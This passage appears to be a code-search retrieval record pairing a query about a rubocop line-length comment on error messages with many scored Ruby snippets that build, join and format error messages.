check until we have a nice way to extract this information. \n #I am currently checking in or manage team directly in the controller\n else\n false\n end\n end\n end", "title": "" } ]
fb51b5355265091d3fdce0cfed3924b4
rubocop:disable Metrics/LineLength We don't split error messages over multiple lines. This is to preserve greppability.
[ { "docid": "c5b9271c4e560b921ea11f3fa0149acb", "score": "0.0", "text": "def missing_required_field_death(fieldnames)\n errors = []\n fieldnames.each do |fieldname|\n error = { 'title' => 'Required field missing', 'detail' => \"The given parameters were missing the required `#{fieldname}` field.\" }\n errors.push(error)\n end\n render json: { 'errors' => errors }, status: 400 # Bad Request\n end", "title": "" } ]
[ { "docid": "75d3034b45d6063569422e90373b95bb", "score": "0.68470854", "text": "def failure_slash_error_lines\n lines = read_failed_lines\n\n failure_slash_error = ConsoleCodes.wrap(\"Failure/Error: \", :bold)\n\n if lines.count == 1\n lines[0] = failure_slash_error + lines[0].strip\n else\n least_indentation = SnippetExtractor.least_indentation_from(lines)\n lines =\n lines.map { |line| line.sub(/^#{least_indentation}/, \" \") }\n lines.unshift(failure_slash_error)\n end\n\n lines\n end", "title": "" }, { "docid": "3b7b88568efcf763bb7d944a5dfd69f9", "score": "0.67036504", "text": "def failure_message\n unmet_expecations_messages << errors.join(\"\\n\")\n end", "title": "" }, { "docid": "a30c89a37292ed9b30ffca8e241b06a1", "score": "0.6699241", "text": "def multiline\n message = []\n message << _('Could not connect to %{uri}') % { uri: @uri }\n message << _(' There was a network communications problem')\n message << _(\" The error we caught said '%{detail}'\") % { detail: @detail }\n message << _(' Check your network connection and try again')\n message.join(\"\\n\")\n end", "title": "" }, { "docid": "9649695367037386332ce63a16ae3aa6", "score": "0.6643248", "text": "def multiple_failures_error(notification)\n message = notification.example.execution_result.exception.message\n\n return if message.blank?\n\n uncolorize_lines(message.split(\"\\n\"))\n .reject(&:blank?)\n .join(\"\\n\")\n end", "title": "" }, { "docid": "6199e95ab79d884b41b016f65b0ea651", "score": "0.6529611", "text": "def error_messages\n raise \"not implemented yet\" \n end", "title": "" }, { "docid": "6912608a8d5680bc0b903f64ada2ebe4", "score": "0.6510677", "text": "def error_messages\n self.errors.join(\"\\n\\n\")\n end", "title": "" }, { "docid": "79ec666d3a394505c89b7d06817331cc", "score": "0.6508579", "text": "def error_messages\n # @messages may have a 'nil' as the last element if there was a catastrophic\n # error, so we 'compact'.\n @messages.compact.map {|e|\n \"#{e['line']}:#{e['col']}: [#{ e['type'] }] #{e['message']}#{ e['evidence'] and \" (#{ e['evidence'] })\"}\"\n }\n end", "title": "" }, { "docid": "45fa7baa2f04ea3c6326bf4f66a1af1a", "score": "0.64773303", "text": "def error_messages\n # rubocop:disable Rails/OutputSafety\n escaped = entry.errors.full_messages.map { |m| ERB::Util.html_escape(m) }\n escaped.join('<br/>').html_safe\n # rubocop:enable Rails/OutputSafety\n end", "title": "" }, { "docid": "f1dd3e500d7f3c478d4e1f4da8cff106", "score": "0.64179003", "text": "def get_error_message\n error_msg = \"\"\n self.errors.full_messages.each do |msg|\n if error_msg != \"\"\n error_msg << \"<br>\"\n end\n error_msg << msg\n end\n\n error_msg\n end", "title": "" }, { "docid": "3905e8d1004f448093ebbb2daa99cb4e", "score": "0.63610446", "text": "def error_text; end", "title": "" }, { "docid": "7ce6215bb47ac3bc23dbc37a43d23efc", "score": "0.6354491", "text": "def annotate_error_message(message)\n return \"#{$0}: #{message}\" unless @path\n return \"#{$0}: #{message} in file: #{@path}\" unless @line_number\n return \"#{$0}: #{message} in file: #{@path} at line: #{@line_number}\"\n end", "title": "" }, { "docid": "cc49df5d9e304f79612691008cca5fbf", "score": "0.6341609", "text": "def format_error(err) Ripl::Runner.format_error(err) end", "title": "" }, { "docid": "fab4fb709d8125a72696f259e0680b11", "score": "0.633763", "text": "def multiline\n\n message = []\n message << _('Request to Puppet Forge failed.')\n message << _(' The server being queried was %{uri}') % { uri: @uri }\n message << _(\" The HTTP response we received was '%{response}'\") % { response: @response }\n message << _(\" The message we received said '%{message}'\") % { message: @message } if @message\n message.join(\"\\n\")\n end", "title": "" }, { "docid": "1d9238213c6f12edcafc5b983989270c", "score": "0.6283752", "text": "def error_message; end", "title": "" }, { "docid": "1d9238213c6f12edcafc5b983989270c", "score": "0.6283752", "text": "def error_message; end", "title": "" }, { "docid": "1d9238213c6f12edcafc5b983989270c", "score": "0.6283752", "text": "def error_message; end", "title": "" }, { "docid": "1d9238213c6f12edcafc5b983989270c", "score": "0.6283752", "text": "def error_message; end", "title": "" }, { "docid": "1bb1c497ffe2256806df2db45ad7c561", "score": "0.6266605", "text": "def check_errors\n unless self.valid?\n bigmessage = self.errors.full_messages.join \"\\n\" \n raise bigmessage unless bigmessage.empty?\n end\n \n unless copy.valid?\n bigmessage = copy.errors.full_messages.join \"\\n\" \n raise bigmessage unless bigmessage.empty?\n end\n end", "title": "" }, { "docid": "9181c7fc123a6f4413ada87dc0023658", "score": "0.6259846", "text": "def brainstem_full_error_message(object, attribute, text)\n text[0] == \"^\" ? text[1..-1] : object.errors.full_message(attribute, text)\n end", "title": "" }, { "docid": "cb9ff76d92f122d9482a7549e09b2fdc", "score": "0.625851", "text": "def compose_error_message(http_response, max_len=200)\n msg = http_response.body.gsub(\"\\n\", ' ')\n msg = \"#{msg[0..max_len]} ...\" if msg.size > max_len\n msg\n end", "title": "" }, { "docid": "ac9d23c26601130a27700f283925dd96", "score": "0.6257706", "text": "def formatted_error_messages\n summary_errors.map(&:to_summary_error)\n end", "title": "" }, { "docid": "0db4009913071bce6315d6ed80f482a0", "score": "0.62567854", "text": "def error_message\n messages = []\n @error.message.each_line do |line|\n # replaces occurrence of \"(eval)\" as file path\n match = line.match(/^\\(eval\\):(\\d+):(.+)$/m)\n if match\n line_number, message = match.captures\n messages.append(\"#{operation_path}: line #{line_number}:#{message}\")\n next\n end\n\n # strips uninformative context from NameError message\n namespace_pattern = Regexp.new(\" for (\\#<)?#{@namespace}:(Module|0x[0-9a-f]+>)$\")\n match = line.match(namespace_pattern)\n if match\n loc = match.begin(0) - 1\n messages.append(line[0..loc])\n next\n end\n\n # strip namespace from uninitialized constant error\n protocol_pattern = Regexp.new(\"(uninitialized constant) #{@namespace}::(Protocol::\\.+)$\")\n match = line.match(protocol_pattern)\n if match\n message, symbol = match.captures\n messages.append(\"#{message} #{symbol}\")\n next\n end\n\n messages.append(line)\n end\n\n messages.join('')\n end", "title": "" }, { "docid": "de3b45c0a1584145490af11d01d34aa0", "score": "0.624224", "text": "def problem_diagnostic_string\n\t\tif has_error?\n\t\t\t@errors.join(\"\\n\")\n\t\telse\n\t\t\t'No errors reported'\n\t\tend\n\tend", "title": "" }, { "docid": "6a6983faa81e22b76f6cf123d22e2bfd", "score": "0.6239238", "text": "def summary\n error_message.nil? ? '' : error_message.split(/[.:]/).first.concat('...')\n end", "title": "" }, { "docid": "8f25f58c0470d19321aadd411ececaf1", "score": "0.6234994", "text": "def error(message); end", "title": "" }, { "docid": "dda03430ddca69a0aa2f3e0a0f49f4eb", "score": "0.6230073", "text": "def error_messages\n # @errors will have a 'nil' last element if JSLINT it hit a catastrophic\n # error before it finished looking at the whole file, so we 'compact'.\n @errors.compact.map {|e|\n \"#{e['line']}:#{e['character']}: #{e['reason']}\"\n }\n end", "title": "" }, { "docid": "7260447c8175b3a4daa87d6842603003", "score": "0.6220087", "text": "def errors\n \" \" + @results.scan(self.errors_regexp).join(\"\\n \")\n end", "title": "" }, { "docid": "be136d4243b3b2788d5198c138161225", "score": "0.62198395", "text": "def check_errors\n unless self.valid?\n bigmessage = self.errors.full_messages.join \"\\n\" \n raise bigmessage unless bigmessage.empty?\n end\n \n unless copy.valid?\n bigmessage = copy.errors.full_messages.join \"\\n\" \n raise bigmessage unless bigmessage.empty?\n end\n end", "title": "" }, { "docid": "fdc3eb26e4ae2b9138bacb0df9761d51", "score": "0.62112", "text": "def get_error_message()\r\n error_message = \"Detected spam based on: <br /><ul>\"\r\n @errors.each {|error| error_message += \"<li>\"+ error.to_s + \"</li>\"}\r\n error_message += \"</ul>\"\r\n error_message\r\n end", "title": "" }, { "docid": "64dc774c169e50003a2248f23944d757", "score": "0.61853576", "text": "def error_messages\n @@helper.safe_join(entry.errors.full_messages, '<br/>'.html_safe)\n end", "title": "" }, { "docid": "cf68ca8766408713c684554a81cf6523", "score": "0.61586267", "text": "def split_hash_errors(hash)\n message = []\n hash.each { |k, v| message << \"#{k}: #{v}\" }\n @errors << message.flatten.join(' with ')\n end", "title": "" }, { "docid": "3c845604dfa628ebb69a9f9075f46038", "score": "0.6157621", "text": "def highlight_error(error, source)\n lines = source.lines\n\n maximum = [error.lineno + 3, lines.length].min\n digits = Math.log10(maximum).ceil\n\n ([error.lineno - 3, 0].max...maximum).each do |line_index|\n line_number = line_index + 1\n\n if line_number == error.lineno\n part1 = Color.red(\">\")\n part2 = Color.gray(\"%#{digits}d |\" % line_number)\n warn(\"#{part1} #{part2} #{colorize_line(lines[line_index])}\")\n\n part3 = Color.gray(\" %#{digits}s |\" % \" \")\n warn(\"#{part3} #{\" \" * error.column}#{Color.red(\"^\")}\")\n else\n prefix = Color.gray(\" %#{digits}d |\" % line_number)\n warn(\"#{prefix} #{colorize_line(lines[line_index])}\")\n end\n end\n end", "title": "" }, { "docid": "8439dc7e2860c0b4c92a049b19f50392", "score": "0.614963", "text": "def error_message()\n #This is a stub, used for indexing\n end", "title": "" }, { "docid": "8439dc7e2860c0b4c92a049b19f50392", "score": "0.614963", "text": "def error_message()\n #This is a stub, used for indexing\n end", "title": "" }, { "docid": "f37baba14f347f5379881db90d02f4fd", "score": "0.61488557", "text": "def error_string(*) end", "title": "" }, { "docid": "f37baba14f347f5379881db90d02f4fd", "score": "0.61488557", "text": "def error_string(*) end", "title": "" }, { "docid": "f37baba14f347f5379881db90d02f4fd", "score": "0.61488557", "text": "def error_string(*) end", "title": "" }, { "docid": "4f9608142c2ff537fa06ca26d79de91a", "score": "0.61451465", "text": "def error_messages\n escaped = entry.errors.full_messages.map { |m| ERB::Util.html_escape(m) }\n escaped.join('<br/>').html_safe\n end", "title": "" }, { "docid": "4f9608142c2ff537fa06ca26d79de91a", "score": "0.61451465", "text": "def error_messages\n escaped = entry.errors.full_messages.map { |m| ERB::Util.html_escape(m) }\n escaped.join('<br/>').html_safe\n end", "title": "" }, { "docid": "ca3ee4792d868f8f925f24ff54bed611", "score": "0.6143612", "text": "def error_message(error)\n \"Sorry, I didn't understand #{error.join(\" \")}\"\n end", "title": "" }, { "docid": "b48612660ddc5e481726a615c79086ce", "score": "0.6142865", "text": "def raise_error(message, line, col = 0, length = 0)\n line, col, length = line.line_num, line.column, line.length if line.is_a? Token\n\n header = \"#{@file}##{line}: \"\n str = \"Error: #{message}\\n\".red\n str << \"#{@file}##{line - 1}: #{@source.lines[line - 2].chomp}\\n\".light_black if line > 1\n str << \"#{header}#{(@source.lines[line - 1] || \"\").chomp}\\n\"\n str << (' ' * (col + header.length - 1))\n str << '^' << ('~' * (length - 1)) << \"\\n\"\n str << \"#{@file}##{line + 1}: #{@source.lines[line].chomp}\\n\".light_black if @source.lines[line]\n raise str\n end", "title": "" }, { "docid": "65ead7ca41bd2893447d9a8b6bd9d590", "score": "0.6137919", "text": "def error_message(response)\n response.lines.last.chomp[3..-5]\n end", "title": "" }, { "docid": "edb040f1a97a0385d092b4a6b67e3073", "score": "0.6125149", "text": "def message_for_this_error\n ''\n end", "title": "" }, { "docid": "ada7f4ecc659d15191c811aa250c88ce", "score": "0.61161965", "text": "def report_errors #{{{\n return unless has_errors?\n output = ''\n lines.each_with_index do |line,idx|\n output << '%2d: %s' % [ idx+1, line ]\n end\n\n output << \"\\n\"\n\n (@errors.keys.sort).each do |idx|\n @errors[idx].each do |err_line|\n output << \"error #{idx+1}: #{err_line}\\n\"\n end\n end\n\n (missing_fields or []).each do |field|\n field = field_name field\n output << \"error: Required header '#{field}' is missing\\n\"\n end\n\n output\n end", "title": "" }, { "docid": "c8eb33d19d4138d3823c3cccdd55b2c7", "score": "0.6110645", "text": "def say_error(message = T.unsafe(nil), color = T.unsafe(nil), force_new_line = T.unsafe(nil)); end", "title": "" }, { "docid": "5f2fcb43a5ecded097bd2f286485a8c1", "score": "0.6109992", "text": "def long_display\n backtrace = highlight_useful_lines(filter_backtrace(@exception.backtrace)).join(\"\\n \")\n \"Error:\\n#@test_name:\\n#{message}\\n #{backtrace}\"\n end", "title": "" }, { "docid": "61779fbf2d3a6a0494095384cbeebaea", "score": "0.60898596", "text": "def add_errors(message)\n msg_with_error = ''\n chunk_size = @chunk_length + @check_bits.size\n message.chars.each_slice(chunk_size) do |chunk|\n chunk = chunk.join\n random_bit = rand(1..chunk.size)\n deleted_char = chunk.slice!(random_bit - 1).to_i\n chunk.insert(random_bit - 1, (deleted_char ^ 1).to_s)\n msg_with_error += chunk\n end\n\n msg_with_error\n end", "title": "" }, { "docid": "26f53be90d5553d9f57f22824c988f69", "score": "0.60797125", "text": "def full_messages\n errors.inject([]) do |list, pair|\n list += pair.last\n end\n end", "title": "" }, { "docid": "26f53be90d5553d9f57f22824c988f69", "score": "0.60797125", "text": "def full_messages\n errors.inject([]) do |list, pair|\n list += pair.last\n end\n end", "title": "" }, { "docid": "56511784951efa406f06fa92800a6ea0", "score": "0.6072807", "text": "def error_msg(key, continous_limit_pattern = nil)\n case key\n when \"dcnice\"\n \"#{key.capitalize.gsub(/_/, \" \")} : You sholud input a priority from 1 to 5.\"\n when \"size_of_zredundant\", \"spushv_klength_warn\", \"spushv_vlength_warn\", \"shift_size\"\n \"#{key.capitalize.gsub(/_/, \" \")} : number must be from 1 to 2147483647.\"\n when \"hilatency_warn_time\"\n \"#{key.capitalize.gsub(/_/, \" \")} : number must be from 1 to 60.\"\n when \"routing_trans_timeout\", \"accepted_connection_expire_time\", \"pool_expire_time\", \"EMpool_expire_time\"\n \"#{key.capitalize.gsub(/_/, \" \")} : number must be from 1 to 86400.\"\n when \"fail_cnt_threshold\"\n \"#{key.capitalize.gsub(/_/, \" \")} : number must be from 1 to 100.\"\n when \"fail_cnt_gap\"\n \"#{key.capitalize.gsub(/_/, \" \")} : number must be from 0 to 60.\"\n when \"pool_maxlength\", \"EMpool_maxlength\"\n \"#{key.capitalize.gsub(/_/, \" \")} : number must be from 1 to 1000.\"\n when \"descriptor_table_size\"\n \"#{key.capitalize.gsub(/_/, \" \")} : number must be from 1024 to 65535.\"\n when \"sub_nid\"\n \"#{key.capitalize.gsub(/_/, \" \")} : Target NetMask is no more than 20 characters.\"\n when \"lost_action\"\n \"#{key.capitalize.gsub(/_/, \" \")} : Unexpected Error. This value is required\"\n when \"dns_caching\"\n \"#{key.capitalize.gsub(/_/, \" \")} : Unexpected Error. This value is required\"\n when \"auto_recover\"\n \"#{key.capitalize.gsub(/_/, \" \")} : Unexpected Error. This value is required\"\n when \"continuous_limit\"\n if continous_limit_pattern == \"con0\"\n \"#{key.capitalize.gsub(/_/, \" \")} : All fields must be number and required.\"\n elsif continous_limit_pattern == \"con1\" || continous_limit_pattern == \"con3\"\n \"#{key.capitalize.gsub(/_/, \" \")} : nubmer must be from 1 to 1000.\"\n elsif continous_limit_pattern == \"con2\"\n \"#{key.capitalize.gsub(/_/, \" \")} : nubmer must be from 1 to 100.\"\n end\n else\n raise\n end\nend", "title": "" }, { "docid": "a5bfcd19afa8909ea4b84b41e7a63213", "score": "0.6071671", "text": "def errors\n current_errors = @errors\n @errors = []\n return current_errors.join(\"\\n\")\n end", "title": "" }, { "docid": "bf4a5764b2d3878bbb940d440b55e594", "score": "0.60647804", "text": "def error_message\n @desc.strip.gsub(',', '')\n end", "title": "" }, { "docid": "aa3c315dcab910f526dd0ce0841c00c8", "score": "0.60583097", "text": "def render_error_message message\n message.is_a?(ActiveSupport::OrderedHash) ? message.values.flatten.compact.join(\"<br/>\") : message\n end", "title": "" }, { "docid": "0e989b8fc74a90b4bdf4ea84100899c4", "score": "0.60565114", "text": "def update_error_message(e)\n e.message << ' (MAX_RETRIES reached)'\n e\n end", "title": "" }, { "docid": "5568469ef3ae50ae26b832a4e60298ad", "score": "0.6048647", "text": "def error(message)\n\t\terror_message = \" ERROR: #{message}! \"\n\t\terror_length = error_message.length\n\t\tputs (\"=\"*error_length).colorize( :color => :red, :background => :white )\n\t\tputs error_message.colorize( :color => :red, :background => :white )\n\t\tputs (\"=\"*error_length).colorize( :color => :red, :background => :white )\n\n\t\tKernel::raise error_message\n\tend", "title": "" }, { "docid": "33cb725c78d997115b4cd22cacceea0d", "score": "0.60479635", "text": "def inner_error; end", "title": "" }, { "docid": "33cb725c78d997115b4cd22cacceea0d", "score": "0.60479635", "text": "def inner_error; end", "title": "" }, { "docid": "5bbd014ee60fded052a62f74d113ec44", "score": "0.604746", "text": "def explode_if_broken_invariants\n throw \"Bang! \" + get_errors.join(' ') unless get_errors.empty? \n end", "title": "" }, { "docid": "3e524d33b7f9e28b4fd735ae335a45a6", "score": "0.6044641", "text": "def full_error(error)\n feature, scenario, step, exception = error\n output = \"\\n\"\n output += report_exception(exception)\n output +=\"\\n\"\n\n if exception.kind_of?(Spinach::StepNotDefinedException)\n output << \"\\n\"\n output << \" You can define it with: \\n\\n\".red\n suggestion = Generators::StepGenerator.new(step).generate\n suggestion.split(\"\\n\").each do |line|\n output << \" #{line}\\n\".red\n end\n output << \"\\n\"\n elsif exception.kind_of?(Spinach::StepPendingException)\n output << \" Reason: '#{exception.reason}'\".yellow\n output << \"\\n\"\n else\n if options[:backtrace]\n output += \"\\n\"\n exception.backtrace.map do |line|\n output << \" #{line}\\n\"\n end\n else\n output << \" #{exception.backtrace[0]}\"\n end\n end\n output\n end", "title": "" }, { "docid": "59760619fac1b9e8fbf18784ce1081e5", "score": "0.60361284", "text": "def initialize(source, parser)\n @source, @parser = source, parser\n parser.failure_reason =~ /^(Expected .+) after/m\n reason = $1 || 'REASONLESS'\n # replace newlines with <EOL> to make them stand out\n super %Q<ERROR at index #{parser.index}\n#{reason.gsub(\"\\n\", '<EOL>')}:\n#{source.lines.to_a[parser.failure_line - 1]}\n#{'~' * (parser.failure_column - 1)}^\n>\n end", "title": "" }, { "docid": "7e8a7f60a98637d211977242ab902224", "score": "0.6033266", "text": "def full_messages\n errors.inject([]) do |list,pair|\n list += pair.last\n end\n end", "title": "" }, { "docid": "dbab2abd6a5b301c0d56e0bc2f8eb3f3", "score": "0.603318", "text": "def max_errors; end", "title": "" }, { "docid": "f62be3ce7375cc4712bc7d0c6e8da149", "score": "0.60319823", "text": "def generate_error_email_body\n error_contents = self.read_parse_logfile(self.error_filepath)\n warning_contents = self.read_parse_logfile(self.warning_filepath)\n message_body = \"<p>'#{self.study_file.upload_file_name}' has failed during parsing.</p>\"\n if error_contents.present?\n message_body += \"<h3>Errors</h3>\"\n error_contents.each_line do |line|\n message_body += \"#{line}<br />\"\n end\n else\n message_body += \"<h3>Event Messages (since no errors were shown)</h3>\"\n message_body += \"<ul>\"\n self.event_messages.each do |e|\n message_body += \"<li><pre>#{ERB::Util.html_escape(e)}</pre></li>\"\n end\n message_body += \"</ul>\"\n end\n\n if warning_contents.present?\n message_body += \"<h3>Warnings</h3>\"\n warning_contents.each_line do |line|\n message_body += \"#{line}<br />\"\n end\n end\n message_body += \"<h3>Details</h3>\"\n message_body += \"<p>Study Accession: <strong>#{self.study.accession}</strong></p>\"\n message_body += \"<p>Study File ID: <strong>#{self.study_file.id}</strong></p>\"\n message_body += \"<p>Ingest Run ID: <strong>#{self.pipeline_name}</strong></p>\"\n message_body += \"<p>Command Line: <strong>#{self.command_line}</strong></p>\"\n message_body\n end", "title": "" }, { "docid": "c7bdf03b0cceaa06e43cee82fa456985", "score": "0.6031078", "text": "def format_process_error(process, max_length=20, return_color=cyan)\n truncate_string(process['error'].to_s.strip.gsub(\"\\n\", \" \"), max_length)\n end", "title": "" }, { "docid": "44c4c3944a2a2727b5ac74aa5abb687e", "score": "0.60310096", "text": "def full_messages\n @errors.inject([]) do |list,pair|\n list += pair.last\n end\n end", "title": "" }, { "docid": "0c22c8f5591b9488a8d5e188fb9d3996", "score": "0.60295045", "text": "def humanized_errors\n _errors.map do |code|\n case code\n when \"UNKNOWN_ERROR\" then \"An unknown error has occurred.\"\n when \"ISA_SEGMENT_NOT_DETECTED_FIRST\" then \"ISA segment was not detected first.\"\n when \"INVALID_COMPONENT_SEPARATOR\" then \"Either no component separator was found or it was not of length one.\"\n else errorMessageHandler(code)\n end\n end.compact\n end", "title": "" }, { "docid": "c039b1e69093cb38df5394139a090d17", "score": "0.6024855", "text": "def set_error_messages\n @inline_error_summary_title = 'There was a problem'\n @inline_error_summary_body_href = '#'\n @inline_summary_error_text = 'Error'\n end", "title": "" }, { "docid": "910f56e52e57a648a02176644ac45c36", "score": "0.60197335", "text": "def syntax_error!(message); end", "title": "" }, { "docid": "6d65bf3e928e7c7a046da9d9ffa7ad16", "score": "0.6018742", "text": "def error_message(e = $!)\n case e\n when Error::UnwantedToken\n token_name = token_name(e.expecting)\n \"extraneous input #{token_error_display(e.unexpected_token)} expecting #{token_name}\"\n when Error::MissingToken\n token_name = token_name(e.expecting)\n \"missing #{token_name} at #{token_error_display(e.symbol)}\"\n when Error::MismatchedToken\n token_name = token_name(e.expecting)\n \"mismatched input #{token_error_display(e.symbol)} expecting #{token_name}\"\n when Error::MismatchedTreeNode\n token_name = token_name(e.expecting)\n \"mismatched tree node: #{e.symbol} expecting #{token_name}\"\n when Error::NoViableAlternative\n \"no viable alternative at input \" << token_error_display(e.symbol)\n when Error::MismatchedSet\n \"mismatched input %s expecting set %s\" %\n [token_error_display(e.symbol), e.expecting.inspect]\n when Error::MismatchedNotSet\n \"mismatched input %s expecting set %s\" %\n [token_error_display(e.symbol), e.expecting.inspect]\n when Error::FailedPredicate\n \"rule %s failed predicate: { %s }?\" % [e.rule_name, e.predicate_text]\n else e.message\n end\n end", "title": "" }, { "docid": "3cfc32e769ba75af97f3a175a0b5d36d", "score": "0.6013544", "text": "def check_errors\n unless valid? \n bigmessage = self.errors.full_messages.join \"\\n\" \n raise bigmessage unless bigmessage.empty?\n \n raise \"format should not be nil\" if format.nil?\n raise \"invalid format #{format}\" unless format.valid? \n raise \"#{self.errors.to_a}, error encountered while saving #{@datafile_id}, #{@bitstream_id} \" \n end\n end", "title": "" }, { "docid": "545c2217186b2f5a9c27df9bcb2f4b02", "score": "0.6011777", "text": "def generate_error_message(error, output)\n [\n \"#{error}\\n\",\n \"OUTPUT: \\n#{output.gsub(/^/, ' ' * 8)}\",\n \"ERROR: #{error}\\n\\n\"\n ].join(\"\\n\")\n end", "title": "" }, { "docid": "140d37677ffefa2c3bd1373744af71fc", "score": "0.6007086", "text": "def format_error(error, color)\n # Error reports will look like this by default:\n\n # Line NNNN: Description of error\n # --> The offending line [only displayed if error[:context] is not nil]\n\n text_line = \"Line #{error[:line]}:\"\n text_indent = \"-->\"\n unless @flags.include?(:nocolor)\n text_line.CC!(color)\n text_indent.CC!(color)\n end\n formatted = \"#{text_line} #{error[:description]}\\n\"\n formatted += \"#{text_indent} #{error[:context]}\\n\" unless error[:context].nil?\n formatted + \"\\n\"\n end", "title": "" }, { "docid": "f6ccd0dbfa5f72d84619cd6b3c04d88d", "score": "0.5999672", "text": "def error(errors, award: nil, status: nil)\n errors = Array.wrap(errors)\n\n super(errors.to_sentence.presence, status).merge({\n award: award,\n errors: errors\n })\n end", "title": "" }, { "docid": "0c80e74b11072046855d305c0419f521", "score": "0.5994838", "text": "def sanitize_errors\n errors.messages.map{|k, v| {k => v.join(\" \")} }.reduce({}){|memo, error| memo.merge!(error) }\n end", "title": "" }, { "docid": "a4330e39be38d129371607ddbf35f6b7", "score": "0.59911454", "text": "def error_description; end", "title": "" }, { "docid": "16e55d8115b4d4da3773e30b5a4b3e52", "score": "0.59907943", "text": "def ugly(line, context, description)\n error = Error.new(line, :ugly, context, description)\n @errors << error\n end", "title": "" }, { "docid": "0863024d1d2dc2bd9960f36720906e71", "score": "0.59876937", "text": "def single_line_exceptions?\n Log.single_line_exceptions\n end", "title": "" }, { "docid": "2d53c45bbcf7dc9968bc87bf1181803d", "score": "0.5985064", "text": "def error\n unless success?\n self['messages']['generalMessages'].map do |m|\n m['messageText'] if m['messageCriticality'] == 'error'\n end.compact.join(\"\\n\")\n end\n end", "title": "" }, { "docid": "390fd45cb45bb36f3b8399f60c22e92c", "score": "0.59739196", "text": "def format_failure(message, stack = caller)\n # file, line = \n return \"(%s:%0.3d) %s\" % [*parse_stack(stack), message]\n end", "title": "" }, { "docid": "37e71f59e6ed62163944f32410e0abd3", "score": "0.5972918", "text": "def errors=(_); end", "title": "" }, { "docid": "f38ded42e028ceaf0c0549cf2ccc546c", "score": "0.59703094", "text": "def full_error(error)\n feature, scenario, step, exception = error\n output = \"\\n\"\n output += report_exception(exception)\n output +=\"\\n\"\n\n if exception.kind_of?(Spinach::StepNotDefinedException)\n output << \"\\n\"\n output << \" You can define it with: \\n\\n\".yellow\n suggestion = Generators::StepGenerator.new(step).generate\n suggestion.split(\"\\n\").each do |line|\n output << \" #{line}\\n\".yellow\n end\n output << \"\\n\"\n elsif exception.kind_of?(Spinach::StepPendingException)\n output << \" Reason: '#{exception.reason}'\".yellow\n output << \"\\n\"\n else\n if options[:backtrace]\n output += \"\\n\"\n exception.backtrace.map do |line|\n output << \" #{line}\\n\"\n end\n else\n output << \" #{exception.backtrace[0]}\"\n end\n end\n output\n end", "title": "" }, { "docid": "ea6261df1a44b982e36fe5ce2d26e1cc", "score": "0.5960973", "text": "def full_message(object, attribute, text)\n text[0] == \"^\" ? text[1..-1] : object.errors.full_message(attribute, text)\n end", "title": "" }, { "docid": "7aa1d69dcd0fc47a29fb6af0b4fa2bc1", "score": "0.5952409", "text": "def error_message\n body\n end", "title": "" }, { "docid": "c3820f41cc422fad70703b7d26163ea3", "score": "0.5948408", "text": "def error_messages\n validate[1]\n end", "title": "" }, { "docid": "eeebfada06d9cb92707cd78448568566", "score": "0.59471905", "text": "def long_display\n backtrace = filter_backtrace(@exception.backtrace).join(\"\\n \")\n \"Error:\\n#@test_name:\\n#{message}\\n #{backtrace}\"\n end", "title": "" }, { "docid": "3c10cdb8fcaf22f4bec40898890bcaff", "score": "0.5939415", "text": "def parse_errors(resource_id) # rubocop:disable Metrics/AbcSize, Metrics/MethodLength\n stats = body_json['stats']\n validation_errors = stats['invalid'][resource_id]\n other_errors = stats['errors'][resource_id]\n errors = []\n\n [*validation_errors, *other_errors].each do |str|\n str = str.strip.gsub('(', '').gsub(')', '').gsub(\"'\", '')\n arr = str.split(',').each(&:strip!)\n\n if arr.length == 4\n h = { name: arr[0], status: arr[1], rule: arr[2], expected: arr[3] }\n # Workaround - \"alternative\" from Plastron should be \"alternate_title\"\n h[:name] = 'alternate_title' if h[:name] == 'alternative'\n else\n h = { error: str }\n end\n errors.append(h)\n end\n errors\n end", "title": "" }, { "docid": "0fea6231a0cbda15a2c05c380c90b7aa", "score": "0.59325176", "text": "def error message, options = {}\n options = {\n indent: 0,\n prefix: \"\"\n }.merge(options)\n\n message.lines.each do |line|\n $stderr.puts \" \" * options[:indent] + options[:prefix] + line unless silent?\n end\n end", "title": "" }, { "docid": "3f07c56fccd29105a0e652d9ff4ce945", "score": "0.59279734", "text": "def format_error err\n return super if StripBacktrace.disabled?\n message, backtrace = get_error(err, strip_backtrace(err))\n \"#{message}\\n #{backtrace.join(\"\\n \")}\"\n end", "title": "" }, { "docid": "a9952cba1fb487c9c3dc00fd5fb48a47", "score": "0.59205395", "text": "def migration_errors\r\n error = ''\r\n # The first error is the one to report - with sybase isql doesn't stop on errors\r\n # The error lines tend to look like:\r\n # Msg 156, Level 15, State 2:\r\n # Server 'WW637L18714A', Line 2:\r\n # Incorrect syntax near the keyword 'table'.\r\n begin\r\n fh = File.open(@logfile, 'r')\r\n # search for a line starting Msg or Error and then grab the next 2 lines to make up the error.\r\n while (l = fh.readline)\r\n if l =~ /^(Msg|Error)\\s\\d+/\r\n error = l\r\n break\r\n end\r\n end\r\n unless error == ''\r\n # if an error was found, add the next two lines to the error message\r\n error << fh.readline\r\n error << fh.readline\r\n end\r\n rescue ::EOFError\r\n # reached the end of file before a full error message was found ...\r\n # Just catch and move on ...\r\n ensure\r\n fh.close if fh\r\n end\r\n error\r\n end", "title": "" }, { "docid": "5dae24c6d1b0ea79280fccee3bbbc189", "score": "0.59179455", "text": "def errors\n # e = Array.new\n # e << 'comment_author_blank' if author.blank?\n # e << 'comment_email_blank' if author_email.blank?\n # e << 'comment_body_blank' if body.blank?\n # e\n end", "title": "" }, { "docid": "5910fe13f9b42feb3ddaae5b27e6bfc8", "score": "0.5914876", "text": "def process_message_error(message, error)\n message\n end", "title": "" }, { "docid": "bc0f682e4901be3fc13f307286b17845", "score": "0.59042025", "text": "def error(message)\n raise strip(message)\n end", "title": "" }, { "docid": "bc0f682e4901be3fc13f307286b17845", "score": "0.59042025", "text": "def error(message)\n raise strip(message)\n end", "title": "" }, { "docid": "ad251b022acd5669869627dfdc6603d7", "score": "0.5903528", "text": "def html_error_messages\n errors.full_messages.join(\"<br />\")\n end", "title": "" }, { "docid": "3d747be04d32631aac8ced7cb5783463", "score": "0.59028864", "text": "def generate_error_message_tips(line)\n\t\tadvice = []\n\t\tif((target_player == nil || Float(target_player) < 11) && line.include?(\"Error: Access of undefined property JSON\"))\n\t\t\tadvice << \"Be sure you are compiling with 'target_player' set to 11.0 or higher\"\n\t\t\tadvice << \"to have access to the native JSON parser. Your target_player is currently #{target_player}\"\n\t\telsif line.include?(\"Error: The definition of base class Object was not found\")\n\t\t\tadvice << \"If you have removed the default flex-config by setting 'load_config' to\"\n\t\t\tadvice << \"an empty or alternate value using = instead of << you must be sure to\"\n\t\t\tadvice << \"still reference the necessary core 